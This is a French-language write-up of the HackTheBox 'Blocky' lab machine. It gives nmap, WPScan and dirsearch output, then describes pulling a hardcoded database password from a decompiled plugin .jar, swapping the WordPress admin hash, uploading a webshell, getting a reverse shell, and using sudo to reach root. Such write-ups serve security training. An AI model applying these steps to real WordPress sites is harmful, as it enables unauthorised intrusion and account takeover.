HACKTHEBOX - BLOCKY
Lien : https://app.hackthebox.com/machines/blocky
Enumeration
Output nmap
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.5a
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 d6:2b:99:b4:d5:e7:53:ce:2b:fc:b5:d7:9d:79:fb:a2 (RSA)
| 256 5d:7f:38:95:70:c9:be:ac:67:a0:1e:86:e7:97:84:03 (ECDSA)
|_ 256 09:d5:c2:04:95:1a:90:ef:87:56:25:97:df:83:70:67 (ED25519)
80/tcp open http Apache httpd 2.4.18
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Did not follow redirect to http://blocky.htb
8192/tcp closed sophos
Service Info: Host: 127.0.1.1; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Nous avons un site web, avec le vhost suivant : blocky.htb
. Nous l'ajoutons au fichier /etc/hosts
.
Nous avons un site wordpress, ayant pour thême le jeu Minecraft :
Qui dit wordpress, dit WPScan :
[+] Headers
| Interesting Entry: Server: Apache/2.4.18 (Ubuntu)
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://blocky.htb/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://blocky.htb/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] Upload directory has listing enabled: http://blocky.htb/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://blocky.htb/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 4.8 identified (Insecure, released on 2017-06-08).
| Found By: Rss Generator (Passive Detection)
| - http://blocky.htb/index.php/feed/, <generator>https://wordpress.org/?v=4.8</generator>
| - http://blocky.htb/index.php/comments/feed/, <generator>https://wordpress.org/?v=4.8</generator>
[+] WordPress theme in use: twentyseventeen
| Location: http://blocky.htb/wp-content/themes/twentyseventeen/
| Last Updated: 2024-04-02T00:00:00.000Z
| Readme: http://blocky.htb/wp-content/themes/twentyseventeen/README.txt
| [!] The version is out of date, the latest version is 3.6
| Style URL: http://blocky.htb/wp-content/themes/twentyseventeen/style.css?ver=4.8
| Style Name: Twenty Seventeen
| Style URI: https://wordpress.org/themes/twentyseventeen/
| Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Css Style In Homepage (Passive Detection)
|
| Version: 1.3 (80% confidence)
| Found By: Style (Passive Detection)
| - http://blocky.htb/wp-content/themes/twentyseventeen/style.css?ver=4.8, Match: 'Version: 1.3'
[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:01 <======================================================================================================================================> (100 / 100) 100.00% Time: 00:00:01
[i] User(s) Identified:
[+] notch
| Found By: Author Posts - Author Pattern (Passive Detection)
| Confirmed By:
| Wp Json Api (Aggressive Detection)
| - http://blocky.htb/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] Notch
| Found By: Rss Generator (Passive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
Il est possible de sortir 2 données intéressantes sur le site blocky.htb :
- Le directory listing est possible dans le dossier d'upload. S'il est possible d'uploader un fichier php arbitraire, il nous serait possible d'éxécuter du code
- Un utilisateur nommé
notch
existe, mais le mot de passe ne semble pas être devinable - XMLRPC est activé, ce qui nous permet de bruteforcer le mot de passe de n'importe quel utilisateur, cependant sans succès
On continue avec une énumération des dossiers/fichiers avec dirsearch
:
Output dirsearch
[02:04:12] 301 - 0B - /index.php -> http://blocky.htb/
[02:04:13] 404 - 48KB - /index.php/login/
[02:04:14] 301 - 313B - /javascript -> http://blocky.htb/javascript/
[02:04:16] 200 - 7KB - /license.txt
[02:04:21] 301 - 313B - /phpmyadmin -> http://blocky.htb/phpmyadmin/
[02:04:27] 301 - 310B - /plugins -> http://blocky.htb/plugins/
[02:04:27] 200 - 409B - /plugins/
[02:04:27] 200 - 3KB - /phpmyadmin/index.php
[02:04:27] 200 - 3KB - /phpmyadmin/doc/html/index.html
[02:04:27] 200 - 3KB - /phpmyadmin/
[02:04:30] 200 - 3KB - /readme.html
[02:04:32] 403 - 298B - /server-status
[02:04:32] 403 - 299B - /server-status/
Foothold
On constate 2 dossiers intéressants :
- Un phpmyadmin, mais qui demande un utilisateur valide
- Un dossier plugins qui contient 2 fichiers .jar
En téléchargeant ces fichiers, et en décompilant le .jar (http://www.javadecompilers.com/), des credentials sont trouvables :
Blockycore.jar
//Blockycore.jar
package com.myfirstplugin;
public class BlockyCore {
public String sqlHost = "localhost";
public String sqlUser = "root";
public String sqlPass = "8YsqfCTnvxAUeduzjNSXe22";
public void onServerStart() {
}
public void onServerStop() {
}
public void onPlayerJoin() {
this.sendMessage("TODO get username", "Welcome to the BlockyCraft!!!!!!!");
}
public void sendMessage(String username, String message) {
}
}
Les credentials semblent être valides pour le phpmyadmin, notamment du à l'utilisation des noms de variables sqlHost
, sqlUser
, sqlPass
.
User
Une fois connectés au phpmyadmin, la table wordpress est disponible. Elle renferme un hash correspondant à l'utilisateur notch :
Cependant, ce hash ne semble pas craquable. Cependant, nous pouvons le modifier pour avoir accès au panel d'administration wordpress !
Grâce à ce site (http://scriptserver.mainframe8.com/wordpress_password_hasher.php), il est possible de généréer un hash compatible à partir d'une chaîne de caractères connues.
En remplaçant la valeur du hash précédent par celui ci, nous pouvons nous connecter au panel adminstrateur du wordpress :
Une fois sur le panel admin, il est possible de téléverser un webshell via la fonction de téléversement de plugins :
Une erreur sera générée mais le fichier sera bien t éléversé :
Et notre webshell est disponible dans le répertoire d'uploads :
A partir de celui ci, nous pouvons faire notre reverse shell de la manière que l'on souhaite, et nous avons un reverse shell en tant que www-data :
Cependant, nous ne sommes toujours pas connectés en tant que notch
. En essayant le mot de passe que l'on avait trouvé initialement dans le fichier .jar nous permet de nous connecter en tant que notch
:
Login as notch
$ su notch
su notch
Password: 8YsqfCTnvxAUeduzjNSXe22
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
notch@Blocky:/tmp$
Il était possible également de se connecter directement en ssh dans la machine, avec ce même mot de passe. Pour un soucis de réalisme (et aussi parce que c'est un peu + cool), ce writeup n'utilisera ni FTP, ni SSH :)
Root
La première chose à faire est de vérifier les sudoers :
sudo -l
notch@Blocky:/tmp$ sudo -l
sudo -l
[sudo] password for notch: 8YsqfCTnvxAUeduzjNSXe22
Matching Defaults entries for notch on Blocky:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User notch may run the following commands on Blocky:
(ALL : ALL) ALL
Avec cette information, nous savons que notch peut effectuer n'importe quelle commande avec son mot de passe en tant que root
. Nous avons directement le root flag :)
Root command
notch@Blocky:/tmp$ sudo whoami
sudo whoami
root